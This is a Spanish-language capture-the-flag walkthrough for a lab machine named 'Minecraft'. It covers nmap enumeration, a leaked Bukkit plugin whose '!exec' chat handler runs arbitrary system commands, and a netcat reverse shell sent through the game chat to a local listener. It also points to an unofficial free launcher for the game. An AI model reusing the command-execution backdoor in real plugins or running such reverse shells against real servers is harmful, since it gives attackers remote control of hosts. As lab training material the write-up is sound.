Minecraft


URL Download CTF = https://drive.google.com/file/d/1-h9Qw6N_2SGy50rs4ia3YfX8tvZU9x3l/view?usp=sharing


Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip minecraft.zip

Nos lo descomprimirá y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh minecraft.tar

Enumeración:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 04:23 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000037s latency).

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: HTTrack Website Copier/3.x
|_http-title: Local index - HTTrack Website Copier
|_http-server-header: Apache/2.4.58 (Ubuntu)
25565/tcp open  minecraft Minecraft 1.12.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
MAC Address: 02:42:AC:11:00:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

Vemos que corre un servicio web y tambien un servidor Minecraft version 1.12.2, comenzamos analizando la pagina web y observamos un comentario interesante en el codido de la web.

Parece que hace mencion a un archivo .txt AutoExecPlugin.txt por lo que testeo a ver si se localiza en el servidor intentando acceder a http://172.17.0.2/AutoExecPlugin.txt

curl http://172.17.0.2/AutoExecPlugin.txt
package me.vuln.autoexec;

import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class AutoExecPlugin extends JavaPlugin implements Listener {

    @Override
    public void onEnable() {
        getLogger().info("AutoExecPlugin habilitado");
        getServer().getPluginManager().registerEvents(this, this);
    }

    @EventHandler
    public void onPlayerChat(AsyncPlayerChatEvent event) {
        String msg = event.getMessage();
        Player player = event.getPlayer();

        // Detecta comando con prefijo !exec
        if (msg.startsWith("!exec ")) {
            event.setCancelled(true); // CANCELA que se muestre el mensaje en el chat

            String command = msg.substring(6); // Quitar "!exec " del mensaje

            try {
                // Ejecutar comando en la consola del servidor
                Process proc = Runtime.getRuntime().exec(command);
                BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));

                StringBuilder output = new StringBuilder();
                String line;

                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }

                proc.waitFor();

                // Enviar salida del comando al jugador que ejecutó el chat
                player.sendMessage("§c[Output]:\n" + output.toString());

            } catch (Exception e) {
                player.sendMessage("§4Error ejecutando comando: " + e.getMessage());
            }
        }
    }
}

Por lo que vemos si existe, esto es una clase de JAVA la cual nos esta dando una pista de que si esto estuviera en el servidor de minecraft como un plugin puede ser muy vulnerable ya que puede ejecutar comandos del sistema dentro del propio servidor del juego, por lo que vamos a descargarnos minecraft para meternos en dicho servidor.


Instalación Minecraft (Gratis)

Vamos a ir al siguiente enlace en la pagina del TLauncher de Minecraft, es para jugar Minecraft gratis.

URL = Download Minecraft TLauncher

Una vez extraido veremos lo siguiente en la carpeta llamada TLauncher.v16:

cd TLauncher.v16/
ls -la

Info:

total 9904
drwxrwxr-x 2 kali kali     4096 Jun 17 12:50 .
drwxr-xr-x 3 kali kali     4096 Jun 17 16:54 ..
-rw-rw-r-- 1 kali kali     2198 Dec 10  2024 README-EN.txt
-rw-rw-r-- 1 kali kali     3235 Dec 10  2024 README-RUS.txt
-rw-rw-r-- 1 kali kali 10121689 May  4 06:37 TLauncher.jar

Lo importante es el archivo TLauncher.jar que es el que inicia Minecraft por lo que tendremos que ejecutarlo de esta forma.

java -jar tlauncher.jar

Esto instalara Minecraft y abrira el launcher para iniciarlo, dentro del mismo tendremos que elegir el nombre de usuario que puede ser cualquiera y muy importante la version, en el reporte de nmap vimos que la version es Minecraft 1.12.2 por lo que tendremos que elegir la llamada release 1.12.2 y darle a Install.

Eso instalara todo lo necesario para jugarla.

Una vez que se haya instalado todo nos pondra Enter the game le daremos y despues de un rato estaremos dentro del menu de Minecraft, nos iremos a la opcion llamada Multiplayer y dentro del mismo configuraremos el servidor de Miencraft desde donde esta corriendo la maquina victima.

Le daremos al boton llamado Add Server y dentro del mismo veremos el Server Name y el Server Address el que nos interesa es configurar el Server Adderess por lo que tendremos que poner la IP de la maquina victima junto con el puerto que es el 25565 quedando de esta forma:

Entramos al servidor creado:

Escalate Privileges

Una vez dentro del mundo vamos a probar a listar los plugins de esta forma desde Minecraft.

Vemos que esta el plugin que encontramos del .txt por lo que vamos a probar a ejecutar lo que mencionaba en el .txt para poder ejecutar comandos con !exec acompañado de un comando del sistema.

!exec whoami

Vemos que se esta ejecutando de forma correcta podremos realizar un RCE, por lo que vamos a probar a generarnos una reverse shell de esta forma.

!exec nc 192.168.175.131 4444 -e /bin/sh

Antes de ejecutarlo tendremos que ponernos a la escucha desde nuestra maquina host.

nc -lvnp 4444 

Last updated